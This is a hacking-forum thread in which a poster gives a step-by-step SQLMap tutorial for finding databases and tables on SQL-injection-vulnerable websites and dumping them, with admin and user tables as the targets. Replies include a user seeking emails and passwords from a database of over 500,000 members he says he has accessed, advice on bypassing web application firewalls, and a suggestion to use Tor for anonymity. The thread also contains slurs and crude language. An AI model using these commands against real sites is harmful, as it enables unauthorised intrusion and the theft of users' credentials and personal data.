[Xaros]

Hey guys, this is my first tutorial posted here.
Anyways, yeah, I'm just going to write up a quick guide on how to dump databases using SQLMap.
I won't be covering downloading SQLMap, I'm sure most of you are using BT which comes preloaded, or if you're using a linux you're familiar enough with the OS to download/install it yourself.
I'll also be assuming that you know how to find a SQLi vulnerable website.

--
Requirements:

• A website vulnerable to SQLi
  


• SQLMap
  

--
Okay, firstly I'm going to cover a few basic commands and what their uses are.
Note: Disregard the colons, they're not a part of the syntax.

• -D: This is used to specify the targeted database.
  


• -T: This is used to specify the targeted table.
  


• -u: This is used to specify the targeted website's URL.
  


• --columns: This is used to find the columns of the selected table.
  


• --dbs: This is used to find the databases of the targeted website.
  


• --dump: This is used to dump information from the selected table.
  


• --tables: This is used to find the tables inside of the selected database.
  


• --threads: Speeds the shit up, nigga.
  

--

Step one:
Spoiler (Click to View)
--
We're going to need to find the databases of the website. This can be done with the following command.

Code

python sqlmap.py -u [URL here] --dbs

Afterwards, you'll be prompted with a few questions. Read, and answer them carefully.
Eventually you'll be prompted with "xxx is vulnerable, do you wish to keep scanning? y/n:" type n and hit enter to continue onto grabbing the databases.
--
Note: "information_schema" USUALLY isn't important, so in most cases you should ignore it.
--


Step two:
Spoiler (Click to View)
--
Now that we've got their databases, we need to see what we're dealing with, huh? Now, we need to see what tables these databases have, right?
Use the following command to grab the tables of the database.

Code

python sqlmap.py -u [URL here] --tables -D [Database name here]

This will give you the tables of the selected database.
--


Step three:
Spoiler (Click to View)
--
Finally, we can see the tables. It should be pretty apparent what tables are of interest.
(Hint: ANYTHING CONTAINING ADMIN, USERS, YOU GET THE JIST.)
Now, we can move onto seeing if that table is ACTUALLY useful. In other words, we need some columns, to grab columns you need to use the following command.

Code

python sqlmap.py -u [URL here] --columns -D [Database name here] -T [Table name here]

Congratulations you should be able to tell if it's important, or not by the columns.
--


FINAL STEP:
Spoiler (Click to View)
--
UGH SQLMAP IS SO HARD TO USE. BREAKING A SWEAT JUST THINKING OF IT.
Anyways, now we need to dump that important ass table. Use this command to do so.

Code

python sqlmap.py -u [URL here] --dump -D [Database name here] -T [Table name here]

Now, you'll get the table's information, blablabla. Now, if they're idiots it won't be hashed/encrypted.
HOWEVER, chances are it'll be encrypted, and you'll be angered because MD5 hashes are annoying as hell to crack.
--


Well, yeah. That's basically it; SQLMap is an easy to use tool, hence why this is so short. There's a lot more you can do with it, this is just a basic database dump, though.

OR YOU COULD JUST TYPE --wizard AND NOT WORRY ABOUT ANY OF THIS. UGH I FORGOT HOW HARD IT IS TO USE SQLMAP.

[logging*machine]

I've made a tutorial on this before.
But you explained it better.

[Xaros]

I've made a tutorial on this before.
But you explained it better.

Meh, I just did it in a hurry, honestly.
I've never really contributed so I just threw together a guide on something I was knowledgeable of, lol.

[Prostitute]

thanks for the tutorial, its basic but its a good start

[Pussy Machine]

Thank you for the fine tutorial.
Don't rape me.

[Xaros]

Of course!
It's really basic, because well.. It's a simple task, lol.

[Pussy Machine]

Of course!
It's really basic, because well.. It's a simple task, lol.

It was simple, I'm still using the tutorial.
Appreciate it Terry.

[MindOfLogic]

Pretty good tutorial. I just used this for first time last night.

[Xaros]

Pretty good tutorial. I just used this for first time last night.

Thanks man, I'm glad to get some positive feedback.

It was simple, I'm still using the tutorial.
Appreciate it Terry.

I'm glad, man!

[markblaze]

thanks for the tut terry. it made me download sqlmap and start messing around with it on my phone.

is there any way that once we find a vulnerable site and know the tables etc that we can dump just the info eg email & password of just 1 user in the database?

the reason I'm asking is that the database iv got access to has over 500,000 members and I'm only wanting certain info from it as it would take me too long dumping the full db on my android phone

[St4rfox]

What is also great about sqlmap is that it can now detect Web App Firewalls (WAFs) like WebKnight/PHP-IDS/ModSecurity etc.. and also attempt to bypass them. You'll need to do this in the event that you can't extract data due to a WAF returning HTTP/302/404/406/500 responces. You can do that with --check-waf I believe. If that doesn't work you can try Wafw00f.py

[xkuszz]

Good looking tutorial. If you wanted to, I could do a write-up on using the advanced features of SQLMap and combining Tor with it for some added anonymity to your pentests!

[jeremyhaha]

Gg nice tutorial!! love to see more

[Xaros]

I'll consider it, I mean if I can think of anything else to write about, I'll do it.
I just can't really think of anything to do a tutorial about.